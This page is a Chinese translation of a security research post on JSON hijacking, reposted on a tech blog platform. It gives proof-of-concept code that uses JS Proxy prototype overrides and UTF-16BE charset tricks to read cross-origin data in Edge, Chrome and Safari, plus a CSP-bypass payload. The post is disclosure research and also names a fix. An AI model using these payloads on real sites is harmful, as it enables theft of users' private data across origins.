专栏首页Seebug漏洞平台当代 Web 的 JSON 劫持技巧

当代 Web 的 JSON 劫持技巧

Benjamin Dumke-von der Ehe 发现了一种有趣的跨域窃取数据的方法。使用JS 代理,他能够创建一个 handler,可以窃取未定义的 JavaScript 变量。这个问题在 FireFox 浏览器中似乎被修复了,但是我发现了一种对 Edge 进行攻击的新方式。虽然 Edge 好像是阻止分配 window.__proto__ 的行为,但是他们忘了 Object.setPrototypeOf 这个方法。利用这个方法,我们可以用代理过的 __proto__来覆盖 __proto__ 属性。就像这样:

<script>  
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{  
 has:function(target,name){
  alert(name);
 }
}));
</script>  
<script src="external-script-with-undefined-variable"></script>  
<!-- script contains: stealme -->  

Edge PoC stealing undefined variable

如果你在跨域脚本中包含 stealme,你将会看到浏览器弹出了该值的警告,即它是一个未定义的变量。

经过进一步的测试,我发现通过覆盖__proto __.__ proto__可以实现相同的效果,在 Edge 浏览器上对应 [object EventTargetPrototype] 。

<script>  
__proto__.__proto__=new Proxy(__proto__,{  
 has:function(target,name){
  alert(name);
 }
});
</script>  
<script src="external-script-with-undefined-variable"></script>  

Edge PoC stealing undefined variable method 2

很好,我们已经能跨域窃取数据了,但我们还能做什么呢?所有主流浏览器都支持脚本的 charset 属性。而我发现 UTF-16BE 字符集尤其有意思。UTF-16BE 是一个多字节字符集,那么实际上是两个字节组成了一个字符。例如你的脚本以 [" 开头,将被认为是 0x5b22 而不是 0x5b 0x22。而 0x5b22 恰好是一个有效的 JavaScript 变量 =) 你能看懂这是怎么回事吗?

假设我们有一个来自 Web 服务器的响应,返回一个数组文本,我们便可以控制它的一部分。我们可以使用 UTF-16BE 字符集使数组文本成为未定义的 JavaScript 变量,并使用上面的技术窃取到它。唯一要注意的是,组成的字符必须形成一个有效的 JavaScript 变量。

例如,让我们看看以下相应:

["supersecret","input here"]

为了窃取到 supersecret,我们需要注入一个空字符,后面带着两个 a's ,出于某些原因,Edge 不会将其视为 UTF-16BE,除非它具有这些注入的字符。或许它在进行一些字符编码的扫描,亦或是截断相应和 NULL 后面的字符在 Edge 上不是一个有效的 JS 变量。我不确定,但是在我的测试中,似乎需要一个 NULL 与其他一些填充字符。参见下面的例子:

<!doctype HTML>  
<script>  
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{  
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>  
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>  
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->  

Edge PoC stealing JSON feeds

所以我们想以前一样代理 __proto__ 属性,使用 UTF-16BE 编码包含脚本,而且响应的字符文本中包含了一个 NULL,后面跟着两个 a's。然后我解码了通过移 8 个二进制位编码的 UTF-16BE ,获得了第一个字节,并且通过按位“与”操作获得了第二个字节。结果是一个弹出警告窗口, ["supersecret","。如你所见,Edge 似乎在 NULL 后截断了响应。请注意这种攻击是相当受限的,因为许多字符组合不会产生有效的 JavaScript 变量。然而,窃取少量数据可能是有用的。

在 Chrome 中窃取 JSON 推送

情况变得更糟了。Chrome 更加开放,有更多的异域字符编码。你不需要控制任何相应,Chrome 就可以使用该字符编码。唯一的要求便是之前所述,组合在一起的字符产生了一个有效的 JavaScript 变量。为了利用这个“特征”,我们需要另一个未定义的变量泄漏。一眼看上去 Chrome 似乎阻止了覆盖 __proto__ 的行为,但是它们还忘记了 __proto__ 的深度。

<script>  
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{  
    has:function f(target,name){
        var str = f.caller.toString();
        alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
});
</script>  
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>  
<!-- script contains the following response: ["supersecret","abc"] -->  

注意: 这一点已经在 Chrome 54 版本被修复

Chrome PoC stealing JSON feeds works in version 53

我们在 __proto__ 链中深入 5 级,并且用我们的代理覆盖它,然后接下来的事情就很有趣了。虽然命名参数不包含我们未定义的变量,但是函数的调用者是包含的!它返回了一个带有我们变量名的函数!显然用 UTF-16BE 编码了,它看起来像是这样:

function 嬢獵灥牳散牥琢Ⱒ慢挢崊  

Waaahat? 那么我们的变量在调用者泄漏了。你必须调用函数的 toString 方法,为了获得数据的访问,否则 Chrome 抛出一个通用访问的异常。我试着通过检查函数的构造函数,以查看是否返回了一个不同的域(也许是 Chrome 扩展程序上下文),从而进一步利用漏洞。当 adblock 被启用时,我看到了一些使用这种方法的扩展程序代码,但无法利用它因为它似乎只是将代码注入到当前的 document。

在我的车是中,我也能够包含 xml 或者 HTML 跨域数据,甚至是 text/html 内容类型,这就成为里一个相当严重的信息泄漏漏洞。此漏洞已经在 Chrome 中被修复。

在 Safari 中窃取 JSON 推送

我们也很轻松地可以在最新版本的 Safari 中实现同样的事情。我们仅需要少使用一个 proto ,并且从代理中使用 “name” 而不是调用者。

<script>  
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{  
        has:function f(target,name){
            alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
        }
});
</script>  

Safari PoC stealing JSON feeds

经过进一步测试,我发现 Safari 和 Edge 一样受相同漏洞的影响,只需要__proto__.__proto__

Hacking JSON feeds without JS proxies

我之前提到每个主流浏览器基本都支持 UTF-16BE 字符编码,可你要如何在没有 JS 代理的情况下黑掉 JSON feeds呢?首先,你需要控制一些数据,并且必须以生成有效 JavaScript 变量的方式构造 feed。在注入数据之前获取 JSON 推送的第一部分非常简单,你所需要做的就是输出一个 UTF-16BE 编码字符串,该字符串将非 ASCII 变量分批给特定的值,然后循环遍历该窗口并检查该值的存在,那么属性将包含注入之前的所有 JSON feed。代码如下所示:

=1337;for(i in window)if(window[i]===1337)alert(i)

这个代码被编码为 UTF-16BE 字符串,所以我们实际上得到的是代码而不是非 ASCII 变量。实际上,就是说用 NULL 填充每个字符。要获得注入字符串后的字符,我仅需使用增量运算符,并在窗口的属性之后制作编码后的字符串。继续往下看。

setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}))}catch(e){}}});++window.a  

我将它包装在一个try catch 中,因为在 IE 上 ,当检查 isNaN 时 window.external 将会抛出一个异常。整个 JSON feed 如下所示:

{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}

Hacking JSON feeds without proxies PoC

绕过 CSP

你可能已经注意到,UTF-16BE 转换的字符串也会将新行转换为非 ASCII 变量,这使它甚至有可能绕过 CSP!HTML 文档将被视为 JavaScript 变量。我要做的就是注入一个带有 UTF-16BE 字符集的脚本,注入至其自身,使其具有编码过的赋值和带有尾部注释的 payload。这将绕过 CSP 策略,其只允许引用同一域下的脚本(主流策略)。

HTML 文档将形似以下内容:

<!doctype HTML><html>  
<head>  
<title>Test</title>  
<?php  
echo $_GET['x'];  
?>
</head>  
<body>  
</body>  
</html>  

注意在 doctype 之后没有新行,HTML 是以这样一种方式构造的,即它是有效的 JavaScript,注入后面的字符无关紧要,因为我们注入了一行注释,而且新行也会被转换。注意,在文档中没有声明字符编码的声明,并不是因为字符集很重要,因为元素的引号和属性将破坏 JavaScript。payload 看起来像是这样(注意为了构造有效变量,一个选项卡是必要的)。

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>  

请注意:这在更高版本的 PHP 中已经被修复了这一点,为了防止攻击,它默认被设成 UTF-8 字符编码的 text/html 内容类型。但是,我只是添加了空白字符编码到 JSON 响应,所有他现在仍处于实验室阶段。

CSP bypass using UTF-16BE PoC

其他编码

我 fuzz 了每个浏览器和字符编码。Edge 对 fuzz 来说没什么用,原因是前面提到过的字符集嗅探,如果你在文档中没有使用确定的字符,他就不会使用字符编码。Chrome 对此非常宽松,因为开发者工具让你通过正则过滤控制台的结果。我发现 ucs-2 编码允许你导入 XML 数据作为一个 JS 变量,但是它甚至比 UTF-16BE 更脆弱。我仍然设法在获得了以下的 XML,以便在 Chrome 上正确导入。

<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>  

以上内容在 Chrome 中已经不再有效,但可以当做另一个例子

UTF-16 和 UTF-16LE 看起来也很有用,因为脚本的输出看起来像是一个 JavaScript 变量,但是当包含 doctype,XML 或 JSON 字符串时,它们引起了一些无效的语法错误。Safari 有一些有趣的结果,但在我的车是中,我不能用它生成有相当 JavaScript。这可能值得进一步探索,,但它将很难 fuzz,因为你需要编码字符,以产生一个有效的测试用例。我相信浏览器厂商能够更有效地做到这一点。

CSS

你可能认为这种技术可以应用于 CSS,在理论上是可以的,因为任何 HTML 将被转换为非 ASCII 的无效 CSS 选择器。但实际上,浏览器似乎会在带着编码解析 CSS 之前,查看文档是否有 doctype 头并忽略样式表,这样注入样式表便失败了。Edge,Firefox 和 IE 在标准模式下似乎也会检查 mime 类型,Chrome 说样式表被解析了,但至少在我的测试中并不会这样。

解决方案

可以通过在 HTTP content type 头中声明你的字符编码(例如 UTF-8)来防止字符编码工具。PHP 5.6 还通过声明 UTF-8 编码来防止这些攻击,如果没有的话,就在 content-type 头中设置。

总结

Edge,Safari 和 Chrome 包含的错误让你可以跨域读取未声明的变量。你可以使用不同的编码绕过 CSP 绕过并窃取脚本数据。即使没有代理,如果可以控制一些 JSON 相应的话,你也可以窃取数据。

Enjoy - @garethheyes

原文:PortSwigger Web Security Blog

本文分享自微信公众号 - Seebug漏洞平台(seebug_org)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2016-11-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • golang 使用json 包 实现序列化

    package main import ( "encoding/json" "fmt" ) func main() { //初始化 data := ...

    李海彬
  • Go语言服务器开发实现最简单HTTP的GET与POST接口

    本文实例讲述了Go语言服务器开发实现最简单HTTP的GET与POST接口。分享给大家供大家参考。具体分析如下: Go语言提供了http包,可以很轻松的开发htt...

    李海彬
  • go语言中json转成map结构

    package main import ( "encoding/json" "fmt" ) //把请求包定义成一个结构体 type Reques...

    李海彬
  • Go语言核心之美 -JSON

    JSON(JavaScript Object Notation)是一种发送和接收结构化信息的标准化表示法。类似的标准化协议还有XML、ASN.1、Protobu...

    李海彬
  • Golang语言--反射的用处--代码自动生成

    背景: go语言处理db、json的时候,具体代码的变量定义和db字段、json输出的时候可能不一样。 这个时候,我们需要用tag的方式来进行定义。 例如: ?...

    李海彬
  • go语言json操作指南

    1、Go语言的JSON 库   Go语言自带的JSON转换库为 encoding/json 1.1)其中把对象转换为JSON的方法(函数)为 json.Mar...

    李海彬
  • 轻量级交互数据json格式初探

    什么是 JSON ? JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation) JSON 是轻量级的文本数据交...

    李海彬
  • 动手实现一个JSON验证器(上)

    分析 既然要验证JSON的有效性,那么必然需要清楚的知道JSON格式,这个在JSON官网已经给我们画出来了: ? ? ? ? ? 从官方的图上面可以看出,JSO...

    李海彬
  • SendCloud邮件队列状态和已使用额度的Python监控脚本

    公司最近用上了 SendCloud 的邮件代发服务,于是就有了各种监控需求。比如每天发信额度是不是要超标了或是邮件是否堵塞了等等。最近经常接触 python,所...

    张戈
  • Swift 对象内存模型探究(一)

    HandyJSON 是 Swift 处理 JSON 数据的开源库之一,类似 JOSNModel,它可以直接将 JSON 数据转化为类实例在代码中使用。 由于 S...

    腾讯Bugly

扫码关注云+社区

领取腾讯云代金券